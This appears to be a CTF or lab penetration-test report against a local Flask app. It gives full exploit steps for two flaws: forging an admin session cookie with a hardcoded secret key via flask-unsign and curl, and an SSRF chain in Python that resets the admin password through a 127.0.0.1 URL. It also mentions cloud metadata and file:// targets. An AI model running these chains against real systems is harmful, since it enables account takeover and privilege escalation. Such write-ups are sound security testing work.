# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Session Forgery via Hardcoded Secret Key → Admin Privilege Escalation

**Summary:**
- **Vulnerable location:** Flask session secret key hardcoded at `app.py:7` as `'supersecretkey'`
- **Overview:** Attacker can forge valid Flask session cookies containing arbitrary usernames (including 'admin') using the publicly exposed secret key, bypassing authentication and authorization entirely
- **Impact:** Complete admin privilege escalation without any authentication, direct FLAG access, zero user interaction required
- **Severity:** Critical

**Prerequisites:**
- Knowledge of hardcoded secret key: `supersecretkey` (available in source code at app.py:7)
- Tool: `flask-unsign` (publicly available: `pip install flask-unsign`)

**Exploitation Steps:**

1. Install the Flask session forgery tool:
```bash
pip install flask-unsign
```

2. Forge an admin session cookie using the hardcoded secret key:
```bash
flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'supersecretkey'
```
Expected output: `eyJ1c2VybmFtZSI6ImFkbWluIn0.aQLkTg.82-rW1l-uckxBwiSHRL6jNk92WI`

3. Access the admin profile endpoint with the forged session cookie to retrieve the FLAG:
```bash
curl -s -H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aQLkTg.82-rW1l-uckxBwiSHRL6jNk92WI" \
  http://localhost:37053/profile | grep -o 'FLAG{[^}]*}'
```

**Proof of Impact:**

Successfully retrieved FLAG from admin profile without any authentication:

```
FLAG{6405c2f787acd0c63e0812b1f377e35d55753310c8c30c98183ed63ec23a5e2d}
```

The forged session cookie granted complete admin access, allowing retrieval of the FLAG displayed only to users with username='admin' (checked at app.py:102).

**Technical Details:**
- Flask session cookies use `itsdangerous.URLSafeTimedSerializer` with HMAC-SHA1 signature
- The signature only proves the cookie was created by someone with the secret key, not that the user authenticated
- Admin privilege is determined by comparing `session['username'] == 'admin'` (app.py:102)
- Session forgery bypasses both authentication (no login required) and authorization (arbitrary privilege level)

**Notes:**
- Attack requires <2 minutes from knowledge of secret key to FLAG capture
- No failed authentication attempts logged (appears as legitimate admin session)
- Session forgery is undetectable without comprehensive audit logging
- Vulnerability is at the boundary of authentication bypass and authorization bypass

---

### AUTHZ-VULN-02: SSRF-Enabled Localhost Privilege Escalation → Admin Password Reset

**Summary:**
- **Vulnerable location:** Profile picture URL fetcher at `app.py:97` (SSRF sink) combined with localhost-restricted password reset at `app.py:106` (privilege escalation target)
- **Overview:** Authenticated user exploits Server-Side Request Forgery (SSRF) vulnerability to proxy HTTP requests through the application server, bypassing IP-based access control on password reset endpoint to reset admin password
- **Impact:** Complete admin account takeover, full privilege escalation from regular user to admin, FLAG access
- **Severity:** Critical

**Prerequisites:**
- Valid user account (can be created via public registration endpoint)
- Python with `requests` library (standard)

**Exploitation Steps:**

1. Register a new user account via the public registration endpoint:
```python
import requests
import random

username = f"exploit{random.randint(1000, 9999)}"
resp = requests.post('http://localhost:37053/register', data={
    'username': username,
    'password': 'testpass123',
    'first_name': 'Exploit',
    'last_name': 'Test',
    'email': 'test@test.com'
}, allow_redirects=False)
```

2. Authenticate as the newly created user:
```python
session = requests.Session()
resp = session.post('http://localhost:37053/login', data={
    'username': username,
    'password': 'testpass123'
})
```

3. Exploit SSRF vulnerability in profile picture URL parameter to proxy a request to the localhost-only password reset endpoint:
```python
ssrf_payload = 'http://127.0.0.1/reset_password?username=admin&newpassword=pwned123'
resp = session.post('http://localhost:37053/profile', data={
    'first_name': 'Exploit',
    'last_name': 'Test',
    'email': 'test@test.com',
    'profile_picture_url': ssrf_payload
})
```
The application server makes the request from its own localhost context (127.0.0.1), satisfying the IP restriction check at app.py:106-107.

4. Logout from the attacker account:
```python
session.get('http://localhost:37053/logout')
```

5. Authenticate as admin using the newly set password:
```python
admin_session = requests.Session()
resp = admin_session.post('http://localhost:37053/login', data={
    'username': 'admin',
    'password': 'pwned123'
})
```

6. Access admin profile to retrieve FLAG:
```python
resp = admin_session.get('http://localhost:37053/profile')
import re
flag = re.search(r'FLAG\{[^}]+\}', resp.text)
print(flag.group(0))
```

**Proof of Impact:**

Complete execution trace showing successful privilege escalation:
```
Registration: 302 (success)
Login: 200 (authenticated as regular user)
SSRF exploit: 200 (password reset executed via localhost proxy)
Admin login: 200 (authenticated as admin with new password)
FLAG captured: FLAG{6405c2f787acd0c63e0812b1f377e35d55753310c8c30c98183ed63ec23a5e2d}
```

The SSRF vulnerability successfully bypassed the localhost IP restriction, allowing a regular authenticated user to reset the admin password and gain complete admin access.

**Technical Details:**

**SSRF Vulnerability (app.py:93-100):**
- `profile_picture_url` parameter accepts arbitrary URLs without validation
- `urllib.request.urlretrieve()` performs server-side HTTP request with no protocol, hostname, or port restrictions
- Requests originate from server's localhost context (127.0.0.1)

**Password Reset Target (app.py:104-116):**
- Endpoint restricted to `request.remote_addr == '127.0.0.1'` (line 106)
- Accepts arbitrary `username` parameter (no authentication or ownership validation)
- Updates password in plaintext: `users[username]['password'] = new_password` (line 113)
- GET method exposes password in URL query parameters

**Attack Chain:**
1. Regular user → Authenticated session
2. POST /profile with malicious `profile_picture_url`
3. Server makes request to http://127.0.0.1/reset_password?username=admin&newpassword=X
4. Request originates from localhost, bypasses IP check
5. Admin password reset without authentication
6. Attacker authenticates as admin
7. FLAG access granted

**Notes:**
- Attack requires valid user account (easily obtained via public registration)
- SSRF vulnerability has no rate limiting or monitoring
- Password reset leaves no audit trail
- Attack chain completes in <5 minutes
- SSRF can also target cloud metadata endpoints (AWS 169.254.169.254), internal network scanning, and file system access (file:// protocol)

---